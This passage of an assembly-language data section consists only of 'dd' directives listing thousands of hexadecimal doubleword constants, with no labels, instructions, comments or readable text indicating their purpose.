dd 54F3D98Ch, 40CA17EEh, 669805E9h, 0B5AD4C16h, 90C56873h
dd 53BEE16Fh, 7476C572h, 0B659C456h, 53763A3Ch, 50C3B4CCh
dd 14120834h, 68A620Ch, 564D5E78h, 7AB4522Ch, 0F6E0E039h
dd 84D68B15h, 8DBC7B11h, 60BDA3F9h, 0FD3466D4h, 3F136C14h
dd 0E43EAE42h, 7303CE38h, 9ECFB1h, 0CFD3295Fh, 0A035178Ah
dd 330417DEh, 0D7ED218Fh, 69C1FC57h, 0EE5451A3h, 0FB8309D6h
dd 85C13548h, 7BE66854h, 14C8E0B8h, 1369C8ACh, 0A8ADDE71h
dd 0DF117BBBh, 3221460Dh, 0B815C069h, 24FDC8E0h, 1423E32Ch
dd 0BAD84FB8h, 316B5E1Bh, 6A8F5C34h, 52B68FDBh, 0E9F066E7h
dd 2641B4A9h, 6DD5C632h, 8F3B32FAh, 57A6F21Eh, 58DAFD01h
dd 314977F1h, 51F48E1h, 24A18D45h, 0CA59F681h, 37A8F969h
dd 8C2315E2h, 8F2B1EFCh, 0CCFE1271h, 0C84E6571h, 0B3FF9A84h
dd 29107EC5h, 910ECCE2h, 290F19AAh, 36DAACE0h, 4A8DDE38h
dd 0A73CCCEAh, 7107164Eh, 5370E7Fh, 68809C9Dh, 0B5EF87BAh
dd 0A024B4AFh, 3C193815h, 90B16DB2h, 4E3C104Fh, 0A09A1DBDh
dd 0D9C29E1Fh, 0BC6D49ACh, 0D95D1962h, 0F541CD33h, 0EAD540D3h
dd 7379228Ch, 0D2E7CA7h, 651047ABh, 290597D6h, 6AE6DF21h
dd 70FEAF9Dh, 5DC2B04Bh, 0DF9B962Ch, 0B1821017h, 78ED8CCBh
dd 468BEADh, 210FDB51h, 23ED88AEh, 3516B3DEh, 60BC21CEh
dd 6E3F763Dh, 0F8E84AE3h, 31B02F46h, 8BF27248h, 9EA5509Ch
dd 24C98972h, 96B711F4h, 0B97AC729h, 779F0705h, 0C7BB3FFh
dd 0B05DD2F5h, 0F5DC20F8h, 51F60FDEh, 8F467BD5h, 78791484h
dd 0A2814646h, 0F141CCC0h, 76E74AC1h, 497C4F46h, 12D3A646h
dd 0BD7EE024h, 0D157AFDCh, 0C50C3B0Fh, 43741812h, 1DAC052Fh
dd 9EE6E0Ch, 10BBD11Ch, 0BE7F7CAAh, 330EB148h, 21562C11h
dd 0B1B23544h, 0D6DEBD80h, 0E7AE58C4h, 0BD073B97h, 33385E52h
dd 45F4FD5h, 0F01D7245h, 4BDD3674h, 898C6C25h, 5B60E102h
dd 5976C005h, 207B2E22h, 0F3BFE26Ch, 0B95802EAh, 22743DACh
dd 20C7A87Dh, 61E034D2h, 7F3ECD65h, 51371020h, 0C9A8C00h
dd 2FEDCD4Ch, 31AE063Dh, 0E0B85A30h, 0F553BB15h, 0E449F38h
dd 0AD09694Eh, 0B944E367h, 320CA63Ah, 708A79F4h, 0F64FB68Fh
dd 0D2DE3220h, 0D2B67809h, 35421808h, 0E50FE60Ah, 3F6037A2h
dd 720EB157h, 6F370D6Bh, 77DBEE5Eh, 63FF4D57h, 32BB2337h
dd 2A0DF8DDh, 0FD264A0Ah, 0CAC3F70Dh, 0BE0F4101h, 354EDAB4h
dd 1664EC6Ah, 4412D222h, 161C7FFFh, 0B9CA78D7h, 7A3750D3h
dd 543A244h, 1CFF53B6h, 0D664678Eh, 3291D8ADh, 463FB39Ah
dd 0C04ABF1Bh, 45B8B838h, 0F84F066Ch, 4D359E8Fh, 1B945016h
dd 0F249F316h, 13C1DD9Fh, 96BB3365h, 4A40891h, 0B8C9B594h
dd 0A3ECFA6Ah, 0F0998CC9h, 7278513Fh, 0DB03ADB6h, 0E12E079Dh
dd 0DF2DE3A7h, 68EDFF32h, 0EB326F27h, 554AE692h, 0FF6A6645h
dd 0E37CC90Dh, 3D15335Ah, 0B1394E92h, 2998C9CEh, 0ABF0D39Ah
dd 45D7F28Fh, 0AB398C6Eh, 0F433FF4Eh, 0A803F0B2h, 0C0FF0065h
dd 0A7CF15A1h, 795ED610h, 70FB042h, 2A43AF3Ch, 0BBB74073h
dd 65D80911h, 783A8DFDh, 0D966CFE6h, 6CA8CF43h, 22572DB5h
dd 0EAC4408h, 3567C8E6h, 43FE19AFh, 0FD7CF584h, 7FE99F58h
dd 5ED7C5A7h, 0D2CA3E2Bh, 0F2CB331Ch, 1BB8FA90h, 326A139Fh
dd 261DD708h, 89774DF7h, 5D4C00C2h, 85B900CAh, 1F851CD1h
dd 55E0F083h, 0AE1ABC73h, 7DF53430h, 4811B17Ah, 4C87B8C4h
dd 0BBDA5124h, 8C6F85B5h, 56459B4Bh, 0B6C7A6A2h, 0CB1AC321h
dd 731527C3h, 74BD1AD7h, 53BC3F9Ch, 0B97908F4h, 0C3172996h
dd 32F3A986h, 7127760Dh, 4DD25CB4h, 11A32AABh, 5C6920EBh
dd 5CE1C7E2h, 0EA615845h, 5EA8633Bh, 69B23C17h, 142163E9h
dd 3EE088B8h, 0E7557DF2h, 0E288C359h, 53A14CBBh, 484B863Dh
dd 0DA002401h, 6E327395h, 648150FBh, 9BB6217Ah, 62C69D2Bh
dd 389B70E4h, 5D0E4737h, 0F43EC5CEh, 325E0540h, 6F1112B3h
dd 782833B3h, 0DDF095D3h, 0EDCD947Fh, 98AA641Bh, 761761B2h
dd 8C8D1B4Dh, 87B11133h, 98B4825Dh, 4CD595BBh, 142CE4E9h
dd 8764EDB0h, 1E7D272Fh
dd 383C5639h, 0F88AE4Dh, 0E367E2E0h, 75D4BD90h, 91C6E5BAh
dd 8517F275h, 1F6C3EC1h, 0F710C565h, 0B3A86D9h, 81D52236h
dd 0CBC06ED1h, 1FCE7298h, 7B0E338Ch, 42CED0Bh, 40023793h
dd 0E279FD94h, 0ACD72A75h, 0A4C18E58h, 32E0174Dh, 8AD712EAh
dd 9A1E12EAh, 0C061AACEh, 4B290039h, 43675EE9h, 0FBD1406Dh
dd 0AD30ACFh, 0B12F3375h, 0BA464332h, 7651F5h, 332A8534h
dd 359F1BCFh, 3FCD43D3h, 5A43341Eh, 0BF847174h, 9237916Ch
dd 6BE34002h, 22B99A81h, 78F87BF2h, 0E66C8DBEh, 0ADD15F41h
dd 0A106DB9Eh, 80015B8Ah, 8F0D8EACh, 8AE166CEh, 256A0CAFh
dd 84BEA25Fh, 0E2F05277h, 24A57D0h, 0CCE77064h, 0ABB4564Ch
dd 4527D32Bh, 1F0D752Ch, 0B62C45DEh, 0FDF1544Eh, 93742E91h
dd 550FE299h, 89DB2FCh, 0A7BBC0DCh, 756880C4h, 1A14B524h
dd 90F26892h, 172A67D5h, 48EEE8B5h, 0BA7BA479h, 72241E0Fh
dd 5888BCCh, 1746DA78h, 0F9404976h, 115294F3h, 2B12623Bh
dd 39E540D9h, 0D703FF1Bh, 0E49E65DEh, 57CE5D3Dh, 68DE4078h
dd 0B7116213h, 4D9B3A13h, 0AA31BAB7h, 46298811h, 0A94612FBh
dd 0F31D27ADh, 0D0728B19h, 621B7F17h, 41AB05F2h, 0CFD61978h
dd 0B6DBAF4Ah, 9A88EF2Ch, 0AE64E343h, 0F113AE4Eh, 0B1F524B3h
dd 56B48B70h, 5B7FB63Eh, 8C56266Dh, 0E24ADA74h, 18E23B3h
dd 0CD9FE8E6h, 27A45790h, 34B5A29Dh, 3D552B91h, 0E6869B7Ah
dd 6E45D930h, 0F5070090h, 9BF0D9BBh, 0C5F56B25h, 4E6F5626h
dd 6048FF18h, 87F779A5h, 2F5C9EC9h, 5B7EAE37h, 9B8702AFh
dd 0F28B4E2h, 7037A06Eh, 0EF1099C9h, 77F94D8h, 4A6DA009h
dd 3E90F86Bh, 6B84A2EEh, 912E8F3Bh, 32852E14h, 3959B7E1h
dd 11AD2ECh, 0D7F6BD8Ch, 4D9C2FE2h, 2EE01241h, 0E39239D8h
dd 62ECC6CEh, 416D6C5Ch, 0B376F41Dh, 4A7365BCh, 0E3F25101h
dd 8B917F4Fh, 6286DBB9h, 0EFD4FFBCh, 54512A12h, 0D4222BFFh
dd 0BEDDD18Fh, 360B1E4Fh, 13DA4CD3h, 52CE9730h, 0C0ED1D92h
dd 4837B10h, 9C827C2Ch, 0C83CBEC2h, 0F0C2A116h, 0A1336299h
dd 345B5479h, 46F1121Bh, 368B2588h, 115CF1B5h, 0C67FAEA9h
dd 4C0AECBBh, 8AFA6889h, 0B882649Fh, 7826AB23h, 0A24216A6h
dd 8D3D579Fh, 10E091Dh, 0D69517CCh, 7FE2F03Eh, 0F5D4B463h
dd 334DD3A8h, 5753F265h, 8CF784E4h, 8F6EBC53h, 0D809F0B3h
dd 2F5376BFh, 0CD48FEC5h, 49A541CFh, 7CA462Bh, 0A8CD33E5h
dd 0C7EB3755h, 56D00FAAh, 0BA212818h, 0C1863335h, 38BDFF24h
dd 8E9B8A99h, 846E7A11h, 0A5BAABF8h, 22F895D5h, 4C352CC1h
dd 38CA98DEh, 3635E7F5h, 0AFB9E7CDh, 0ADF89E9Ah, 0A836A2B3h
dd 94DCC295h, 0F2F58F9h, 52809D4Dh, 12E1AE22h, 0D1167B8h
dd 17FBE589h, 0D7B43777h, 0C32ADC7Eh, 0FCD5622Ah, 6081EB28h
dd 4E6A148Bh, 0E238CD73h, 2DFBD5C2h, 3454C4A8h, 0C03379D0h
dd 0FF7EDF73h, 0E6DBC691h, 0C15B1248h, 5470AB2Bh, 0AFDB3153h
dd 167B37EFh, 6D6EA352h, 4F208D6Bh, 0E4DDC1EFh, 1C5E040Ch
dd 580766EDh, 9A62529Ch, 7BD808F9h, 54BD666Eh, 0F275D8B2h
dd 0C9FED808h, 0E66E3074h, 40CA1CAFh, 0B7FAA41Fh, 7421581Bh
dd 8C32A860h, 6F70DC2Ah, 0CCDC822Bh, 8F9C047Bh, 7BEBD305h
dd 0AE7CD0h, 7EE06B21h, 2A9FAF5Fh, 0BA0894h, 0DFF34622h
dd 0A4FD6A40h, 8D5125C8h, 55BD42C7h, 0D132AF5h, 5FEE326Bh
dd 3D35CA93h, 0EEEC7F69h, 0C034FEA3h, 8BBCF503h, 0C1664AC0h
dd 0FB90EA19h, 868A35DEh, 99FCD942h, 0F8710CF9h, 7670E1B4h
dd 0CED25134h, 37C5E2B4h, 4E4605h, 0EA8FCACFh, 0D076699Bh
dd 8BAAA6F6h, 16AEE56Dh, 692756D0h, 0E8144B6Ch, 8AAB7628h
dd 0A0A6B74Ah, 6E1E4AD7h, 0C7EBE0C5h, 4C7EE506h, 6F33CD3Eh
dd 85D9133Bh, 2ADE9E0Fh, 0B0FFD2CCh, 6031C519h, 0CCC2B8ECh
dd 3496CA29h, 3C0D21CAh, 43C0BB96h, 7BD34EF0h, 86370D41h
dd 29E3C07Ch, 8BA3CD71h, 432541F1h, 703CFCF7h, 35DA2EFDh
dd 0D9881C6Ch, 639129D4h, 66C6137Ch, 0F577573Ch, 4D493D36h
dd 3B2CE71Dh, 0B6B19A98h, 0E1BE61AAh, 40E81D78h, 3CC9154Ch
dd 3233ACADh, 8BDCB13h, 0B4DCB080h, 2AB9DE87h, 0F025F556h
dd 70643DA7h, 0B2598335h, 7E0607C0h, 18ABB8D0h, 0F96FF7Ch
dd 6950B626h, 65D533B1h, 16D6CF37h, 33159ADFh, 0AF393DABh
dd 65CD190Eh, 0C69EE9D8h, 3E6433E2h, 1B0C3280h, 57A61DD3h
dd 2ED3AEBCh, 3984E6ADh, 0B64ED4FCh, 7B35DD14h, 41EF5757h
dd 0D33077C7h, 5C5C160Ch, 2DE10209h, 59C0375Ah, 0FB12F64Eh
dd 819987A7h, 1E502B66h, 6FC9A09Bh, 0EE2366A4h, 0D59D5632h
dd 2C94C3F7h, 14AD1267h, 4F809590h, 619C8595h, 0AABAA01Dh
dd 0DD534EB7h, 64DC90Ah, 0F3821F2Dh, 5D42CA1Eh, 0A3028637h
dd 0A4A39E4Bh, 1AF98C4Eh, 0E5955293h, 318507D7h, 0CAB285ABh
dd 0C5A68D14h, 92369991h, 69841D0Dh, 898C9E45h, 28B4BF06h
dd 2275E002h, 0E3E271E1h, 6C902345h, 5802ACACh, 0B2478CAFh
dd 1AE4F095h, 0C57AC9F1h, 38EF9E33h, 6160D82Ch, 5942D437h
dd 45760D67h, 2F9F0016h, 1DC127A6h, 97058A8h, 2348049h
dd 0FFA1AD7Fh, 0DBC9DB34h, 55FDCDD5h, 9C08EEB4h, 7E5C021h
dd 690E5707h, 0FAC4DED2h, 0DC4DE801h, 16AE49Dh, 8903728Dh
dd 7C1358ADh, 8D55340Eh, 89BC733h, 53CEDCCBh, 77752836h
dd 9CE8116Bh, 0E9ED60B2h, 35C1283Ah, 77420AC6h, 0BCB62788h
dd 0E4ED83C2h, 0DD0798EAh, 6A8D39C7h, 5EDFCD9h, 96258234h
dd 87523250h, 0B42E6A97h, 0F2EEA4A4h, 0F6602D97h, 5AC4B334h
dd 8361EF54h, 0C90E067Fh, 0EFE31063h, 22276038h, 90481684h
dd 5BF73F6Bh, 50AFCEE2h, 8B09E398h, 0A8CB04EBh, 11DD0BC1h
dd 4147EACBh, 63CCDA5Dh, 8CF56042h, 0B4318DDCh, 0F4F47E9h
dd 24F1AACFh, 2A75CBC9h, 232356A2h, 671B2924h, 0AD3D5292h
dd 1F0F53C6h, 7187FB56h, 9F23A928h, 0C384FA03h, 15FC5CDBh
dd 4B41C844h, 0A80EB51Dh, 23CF8F80h, 1FD77FDBh, 99E85C3Dh
dd 0C0A2A58Ah, 4DDB4744h, 2AD48C38h, 16ACC113h, 21A3F465h
dd 0D997050Dh, 46C6F2Fh, 4DBF41F8h, 0A366887Fh, 0F6BCAE77h
dd 8771A37h, 0F9D21A44h, 0C06D2BA0h, 4CCB7376h, 0E54CE4A3h
dd 0C597C15Fh, 1CD04EA7h, 0CA9FD299h, 5049055Ch, 8CFD17A8h
dd 3379C23h, 0E8BB2600h, 9449CC13h, 32994872h, 29EC8960h
dd 187FEBCBh, 7CDB5A13h, 0E9229EA9h, 80F36CBCh, 7B5CEEDBh
dd 0F22A081Eh, 9B867B76h, 14A0DB9Bh, 0F5393C4Ch, 38066BD4h
dd 4C3D4991h, 8BFF2013h, 4BEE8356h, 9BE3262Ch, 9543287Dh
dd 0AF93C766h, 2B09579Fh, 70D820D5h, 7D33730Fh, 540CD801h
dd 632E5C7Dh, 3E2EF7EBh, 0DFBE4CFBh, 0B0231A29h, 42816C38h
dd 0B255C93h, 45CEFB13h, 67C4BAB3h, 0D191F12Bh, 0AEC53A89h
dd 9EF7125Dh, 6957A572h, 9041759Dh, 2BB5ACF5h, 5784E951h
dd 590457E2h, 0A511E3F3h, 76C2A4D4h, 0FE6170B7h, 684288A7h
dd 97FF3A8Bh, 4D61C6CDh, 9FA7E880h, 4E2B053h, 0EE187CD1h
dd 4907FF66h, 26B34882h, 4E0F1E4Dh, 0D5388B16h, 4E3EB51Eh
dd 355B8743h, 9BBAD862h, 73F57A22h, 86E45A8Fh, 0F8FFC91Eh
dd 5C406CE6h, 0C713125Ch, 0C5D3041Dh, 47CB5FB2h, 23C4495Dh
dd 1E760C20h, 801326AAh, 0ECEA3080h, 0DD5D4171h, 0D87460F7h
dd 4886EFFEh, 80C9D94Dh, 6D99D65Eh, 1D2D7C86h, 7BB45F21h
dd 656C9755h, 6F9D7646h
dd 66259DD1h, 7729CC15h, 1E011BF6h, 72C367CDh, 51E5A84Ah
dd 72D4B5E3h, 572400C3h, 0AACB8A01h, 7EC18B99h, 0F1E5B214h
dd 0DBB00FA9h, 7F739CFh, 66ED3E7h, 0E138C72Ch, 846F50C7h
dd 7F05D941h, 0CE35AA8Fh, 0C2008D1Ch, 34E0B235h, 6ACFB04h
dd 0ACC3488h, 44A2DF78h, 0A2968CE9h, 0BBD53A78h, 6DA44CC9h
dd 493C96BFh, 0DE427966h, 12EDA3A1h, 23A7DE47h, 0E8DE7BA6h
dd 28DEC00Ah, 39800D3Ah, 0B99CDBFCh, 0E5B7960h, 0BDDF9E5Ch
dd 17CA41C4h, 9377ED1Eh, 32049A39h, 0F65ADCBBh, 766ACE9Eh
dd 0EBB98A33h, 0A132F0E3h, 384F0BDBh, 49C28A4Ch, 5CC35B9Dh
dd 66A749D2h, 9DBAE5DCh, 31FC1865h, 49C731EAh, 0C3D725B7h
dd 31F27577h, 0D37C2E19h, 81AFB7B9h, 0EB451FFDh, 79770164h
dd 0C61BCAEAh, 534B489Fh, 47AAE2CCh, 2E09DF90h, 0C12B2485h
dd 2750F5A1h, 45E5B6F7h, 2833836Ch, 56941AD4h, 0C40EE7E7h
dd 0F8ABBB6Fh, 22465A3Dh, 5DDA7276h, 3060486Bh, 16449725h
dd 95F7A253h, 976CE5Dh, 50030Eh, 0D947CFEAh, 2FE07F24h
dd 0DCEE394Fh, 3FF7CDD4h, 3995275h, 17F67636h, 2F380D98h
dd 437C60EBh, 91256F56h, 91ED78BCh, 0D591D0B2h, 0D5E02D2Ah
dd 0F79626F3h, 2DF63577h, 0C38588F7h, 8EE0B611h, 0E6949DD9h
dd 5D923DCDh, 0FC4A30EBh, 3497DCE2h, 1AC4086Eh, 0A9396B77h
dd 0A91D73C3h, 0E8D6602h, 0B44EFF9h, 0D7044486h, 0E081826Ch
dd 0D64DBC4Dh, 0D918DC34h, 20759A53h, 44CF2B12h, 0F3775B35h
dd 0F7CB831Dh, 0E94991EDh, 4DE2C26Dh, 9270ED5Bh, 0AF72E013h
dd 6057BBFFh, 3AB57FD8h, 5D145148h, 0E4DBFEFh, 60C74FC4h
dd 0C6B18A56h, 0F3BAA9F1h, 0A50343Ah, 0B1E029E9h, 6C0897Ch
dd 9CF4CEB8h, 7FDFA65h, 0A6AB2FF2h, 788B226Eh, 3D6919BBh
dd 0E9BBA004h, 385183CBh, 0EB69276Eh, 0B252854Fh, 0C354A262h
dd 0FBBF909Dh, 0DEA07B8Dh, 2E19BA6Bh, 570D5B41h, 7806E0FEh
dd 0B463E2B2h, 3473CF5Fh, 3FCBE0EAh, 3CBF9310h, 0D86567A5h
dd 0AEDCCB88h, 9CCCE3ABh, 0A839D789h, 5EA3AB51h, 876EE2CDh
dd 723BFA0Ah, 0CF1E752Bh, 3F60CAD1h, 13DDBE32h, 1604A0CFh
dd 7BFF9CAAh, 0FC43314Fh, 0ABD8E620h, 0BAF27375h, 78CEE50Eh
dd 7D8996CDh, 0D261E87h, 51B48B99h, 0FFDB62CCh, 0E6DA11C9h
dd 560F7B33h, 3205916Fh, 0A676583Ah, 0D13E3D80h, 0FA489787h
dd 5DDC58E4h, 0BED0723Eh, 0F277B09Fh, 6DE07E61h, 27127C45h
dd 0D4645033h, 0CC81E694h, 0A3E368Eh, 0D53455B7h, 0F7F7BAC3h
dd 956B4439h, 0C3AB4C18h, 0D00282F5h, 0FCE6CF58h, 5C338B6Fh
dd 7B66BC2Ah, 5799A0D5h, 0CF8783CFh, 2A1959E6h, 3CDA2923h
dd 0C68C0C6Ah, 0D55C11E2h, 5B330588h, 0DA734FAEh, 2A6350DDh
dd 7F2E6D58h, 0A7ADD914h, 62AA9986h, 1D337E29h, 291581CFh
dd 0B2491469h, 0E36E0C1Eh, 0F4A5BA7h, 0AE3F7DBAh, 0FACEC8AAh
dd 9BDA7984h, 526AAC8h, 57FC10DBh, 4640D0Eh, 9F6EF616h
dd 2D4189F9h, 0E95392B8h, 0F851F4D8h, 0B5B06291h, 2336777h
dd 0E7E28819h, 74606C10h, 4481A90h, 4D40EB9Ah, 7EE792A1h
dd 0D3FC21F1h, 0E3566FEEh, 9D0931C4h, 12EC377Ah, 4AF61635h
dd 58726CC6h, 433E0FC9h, 0E9F32343h, 0FB5B8CF9h, 300ADE6Eh
dd 39C3FA3h, 4EA6DE53h, 0E7457FEAh, 4EC578D2h, 2B76ECBDh
dd 44A6DAD6h, 3DF7D19h, 565281EDh, 2DA4DC3Fh, 76B4F0Fh
dd 2D179A0Dh, 0BDAC45FDh, 0A0EE5A63h, 974EA15Dh, 0D48586AEh
dd 6A6C4C77h, 3A8176h, 758BD5D2h, 39A9D2F3h, 2F3F379Ah
dd 0B78F000Fh, 613D845Bh, 0D1EC9E7Bh, 52C8B89h, 2AA8B404h
dd 4DFBBDF7h, 0A88AE532h, 35B67222h, 0E50603C5h, 0E70C7FFBh
dd 343F3628h, 5EA8F199h, 0B02D948Bh, 0E13BCCA6h, 3CED350h
dd 0B04F040Ch, 0B49D06E8h, 342A00BCh, 7568C524h, 30666FE4h
dd 0B48D90C9h, 0FBCE15CAh, 0DD163888h, 267DB933h, 6C29E87Dh
dd 0B554CA41h, 26B73D8Ch, 91E8F9BCh, 0B5BBD553h, 9D88C234h
dd 0F1AFC6E1h, 0BA208769h, 56E866F7h, 144D1Bh, 0F4D37D81h
dd 0B1120F21h, 0B3A8D823h, 0D638AC2Ch, 0E48E829h, 7F8181B8h
dd 0B8524CE9h, 0FC4F83F3h, 30EA0CD1h, 0E12FB4Eh, 0F9185626h
dd 0B365C62Fh, 36BC435Ah, 0B3F572B3h, 66580B96h, 0B124F4B8h
dd 80B0E172h, 4BB3D8D9h, 92B17EF0h, 0AA4D8092h, 2DB6786Ah
dd 7029EDF1h, 44EE5C4Eh, 676D5295h, 0EBAF7167h, 118D8A7Ch
dd 0DBB61F39h, 0E8BF9B40h, 94702416h, 3F2E7CC0h, 85928B50h
dd 9A05D8ACh, 28B19DB8h, 8997278h, 77415AE5h, 337536B6h
dd 0A1EBF4E4h, 79B53BB0h, 0A40E8B94h, 0AD39782h, 24958A02h
dd 0CFE7B1E1h, 0EED5B244h, 14ECAC19h, 120A4BFFh, 2B283C3Eh
dd 52A213C6h, 0D29B821Bh, 9012C6FBh, 6E27673Ch, 0D22D02D3h
dd 0FFC2B5F7h, 65EC2A0h, 0F5B9183Ch, 2A25AD4Bh, 19E86613h
dd 58712D6Fh, 7F540519h, 0E669B1FFh, 0B7005D91h, 0CE663424h
dd 0C55114A3h, 0EC21297Eh, 0E8E9EFE4h, 0D6AF93DAh, 0BBE266CEh
dd 4AB3B73Fh, 0C236F86Eh, 60FE6F3Eh, 91767935h, 0C188431Ah
dd 75400120h, 495E2FC9h, 0C811226Ch, 0A8138048h, 0A056D266h
dd 25C72952h, 0D1BE2964h, 0AF35AB42h, 1554A420h, 9B422D09h
dd 8B0E490Eh, 2A036E38h, 28AA0202h, 0A640FDB2h, 308934A1h
dd 7741CD6Ah, 0E1F82AD4h, 1562850Bh, 0A73380BDh, 744A7C4Eh
dd 7E7B7319h, 1F170988h, 46D5A992h, 0C9A81CB7h, 83FB46ADh
dd 8A16B000h, 3C05533Eh, 0FFCC4EA6h, 3F7DF2C2h, 8BBCA44Bh
dd 31BB5F12h, 1CF3BFC2h, 0A75E04CFh, 397D8520h, 0DC704617h
dd 0C3B227E4h, 0E618E128h, 99647EFCh, 0E42583CEh, 0C34EDEEBh
dd 7D3EA6DEh, 0B69B9B19h, 0EB0BD1B9h, 0D39D054Bh, 3CC1CC18h
dd 0B72D1173h, 3A550A7Eh, 0F664672Bh, 77B45158h, 341F860Bh
dd 5817B04Ah, 0D5D3C05Fh, 4428CAEDh, 7D9F6E17h, 0F893423Fh
dd 49608D78h, 90A28889h, 0D3EB8EE6h, 0DED263A8h, 1CA80E01h
dd 0ED401903h, 0FE5F23B8h, 0AAC1D6B4h, 92B3A0E2h, 0E10D111h
dd 7301F353h, 4ACAFFEAh, 0EDE53A32h, 0A69223E5h, 0EF39B0F6h
dd 0B23B42C5h, 66D80396h, 74D8379Bh, 795DC4A1h, 0AEEF3541h
dd 0B47D34DCh, 0BF04D4E7h, 0CBA32A69h, 334D01h, 0FA7320BEh
dd 0B484D709h, 0A32EA1F9h, 0A497E5D9h, 7F84BEAEh, 5794B6AFh
dd 577DA450h, 65E1B421h, 7C7D0A1h, 84A8428Eh, 6CC7030Bh
dd 8C2B6F8Ch, 0AD2CC3E0h, 0F35B960Dh, 77DDB8E5h, 0AD044C21h
dd 961EA23Fh, 0D77A5CA0h, 1C8555BCh, 0CDA2B860h, 0C788083Ah
dd 3954F293h, 848987A7h, 340E1BA4h, 237D17DFh, 0E4A891F3h
dd 0B77357ACh, 0D51F31DFh, 0ED48A498h, 0D8FE56B2h, 2DA52FA9h
dd 0D977CEh, 104D594Eh, 0AF1DF8C3h, 6589F90Dh, 0A8A57A8Ch
dd 34200B1Ch, 78B0427Dh, 86231118h, 9F64988Ah, 9A45B024h
dd 9090240Bh, 0B72B9961h, 6A2CCC38h, 6A4F3AEh, 0E81475D6h
dd 0C566E3Bh, 0D6CB8E2h, 0FA149232h, 911661C2h, 0E3F51285h
dd 5F83F3BBh, 0E0D2A43Dh, 8DC298D6h, 4D2F0869h, 0AA5C175Eh
dd 3FEDA1C4h, 26098C06h, 0EE508CDFh, 8FC51F82h, 612FEF6Dh
dd 69A76CE4h, 363FEC58h, 0BD1BEB5h, 2352463h, 0D95B74E7h
dd 5B516938h, 61B28372h, 0F0B39838h, 80D74E2h, 0F90FE067h
dd 0E17F2CEBh, 9FCE2B91h, 0F4E0E0E8h, 0D43DCB4Bh, 0BEFCDF76h
dd 1DF95C92h, 55BF52D4h, 0CC29390Dh, 0ABD147E4h, 3A597A31h
dd 686C47F1h, 0AD4D933h
dd 9FBAFB3Fh, 0B210C0AFh, 0C45C8DADh, 0D6C47CF0h, 5F7B5798h
dd 9195EA28h, 6547D521h, 922B7B6Dh, 8AE55DEAh, 9EABD9EAh
dd 799AC2E0h, 0F909C8B4h, 73C06C5Dh, 0B4BD6294h, 0FD63C0E7h
dd 1434867Eh, 4B2E764Bh, 0BA7126BCh, 56DD362Dh, 0EC65B44Eh
dd 0D610A284h, 196A7B26h, 3B47731Bh, 2D700B66h, 0C9869B82h
dd 58D489CBh, 5B919403h, 852C04FAh, 5028F562h, 6D949ED1h
dd 14FBD572h, 1817F3A2h, 0A8D3AFD6h, 77173EDEh, 0E9038FA1h
dd 5C50A0AEh, 0A6783B76h, 1577F9F3h, 82122DF1h, 0D320D6DAh
dd 6E12F49Bh, 53094476h, 0DAB1D227h, 0BED906B1h, 75D19420h
dd 9E96B33h, 3F49AF1Fh, 24FEF1DEh, 0A4496AE5h, 0FF1FE9A5h
dd 0B7B2FE6h, 0FCF89F0Ch, 6B6D5AFh, 549F40E4h, 0B543C78h
dd 8CEC772Fh, 5959455Ah, 0C228DBA9h, 0EDF3A96Ah, 0B01CFA48h
dd 0E8BBD817h, 0DC4AB9AFh, 41DD1851h, 0C9CB14F7h, 0CE0BB4CFh
dd 0A32EF603h, 0F8B62C1Bh, 93C2C3C9h, 0B39AD30Ah, 0C3F4312Dh
dd 3A0089C6h, 0A77062AFh, 36EA35E5h, 5E216523h, 296FEDC6h
dd 5071E0DBh, 0A360D65Eh, 0FCCF7890h, 0C5B08806h, 5C872C14h
dd 3614A240h, 8D55E6D5h, 1C3A37E9h, 0D1361F83h, 0C53FD215h
dd 7191D745h, 518954D5h, 0FD3BE662h, 0AC806888h, 0F77E355Bh
dd 0A57FD74Fh, 82F15805h, 0D1B346Bh, 4B864444h, 16657504h
dd 31FBB61Bh, 0DC5BEB9Ah, 0B67DD95Eh, 3BF869D0h, 2D319B35h
dd 0F69411EFh, 16823A5Ch, 0EE3B7BADh, 288B6B7Dh, 1B4E4464h
dd 4C139AD8h, 0D16D709Eh, 31CA9931h, 47E2655Ah, 0A129DF7Ah
dd 0F240BE62h, 692DECC1h, 0D4D7525Ah, 0C0FB3AA3h, 9FBE572Ch
dd 1C3D203Fh, 9FBA0057h, 0B12AEF3Bh, 8BEF0726h, 48258544h
dd 451E244Ch, 80282135h, 72AFB4A3h, 8EFEF5DCh, 42EFDE38h
dd 2A677F7Bh, 5C8C9D3Ch, 0CB9E46F4h, 0F8E84F89h, 739014F7h
dd 81EBA3B6h, 9818F7ACh, 0AC462FDDh, 6E100C3Eh, 0E02DD5B9h
dd 501A8E6Ch, 36080278h, 0B256C67Ah, 0F5F28868h, 0A4926864h
dd 0FD0B1FD2h, 5FA8A1BFh, 0BB48D23Fh, 4743DB14h, 49C9ABA9h
dd 3D41D008h, 45B35303h, 0D5AE0CBDh, 0D6F1E28Dh, 0ED2F5D5Dh
dd 0B899F97Dh, 19E69E30h, 0E1C0553Bh, 8E64C61Ah, 2A48C9A8h
dd 4B25BDB7h, 9E6C1D20h, 10DAA990h, 5BA175DCh, 977D1560h
dd 8662F631h, 879358F6h, 8EAFBD1Ch, 0E0AA008Ah, 7B995882h
dd 0E1C3B4C6h, 230B48A1h, 637289Fh, 98576BDBh, 6333A1C3h
dd 0D92BBA54h, 751B7BFAh, 0FADFD1B0h, 0EF062C65h, 319A87E0h
dd 84946BEBh, 779B3AF6h, 0D2F06C93h, 3E06375Bh, 5214397Dh
dd 5E9A92CFh, 76FFB4BAh, 0F24C184Fh, 0E4EFD321h, 7DEED486h
dd 0E05AD19Fh, 0E36C93F0h, 0B15BDBD8h, 5FEA4DBCh, 95AED273h
dd 276EBBBEh, 3693E02Eh, 42DAD394h, 0E21B2178h, 0A21C2F7h
dd 895BB179h, 0CEBD1042h, 445099F9h, 608013E1h, 0CA2F3A3Bh
dd 0F5C54C56h, 0B4A2A519h, 1C295CCAh, 997AF1C1h, 0BA162774h
dd 0DA7F2A93h, 6B58C019h, 0D138ECEh, 408F1CC2h, 0DE22F61Bh
dd 88EC9430h, 9F89AA46h, 0B3C68045h, 0BF694F5Eh, 5B266339h
dd 872C287Bh, 0FAF43433h, 8AA9A548h, 7E1269C3h, 28A15975h
dd 592BA2CAh, 0F45E7FF9h, 0F374900Ch, 3D4C8EEEh, 0CF0671C8h
dd 6C183196h, 8BA8D49Ah, 79F26490h, 2384A9CCh, 0FC3D3933h
dd 253E078h, 4D2D80B3h, 5B35E3B7h, 0A5257183h, 48028A41h
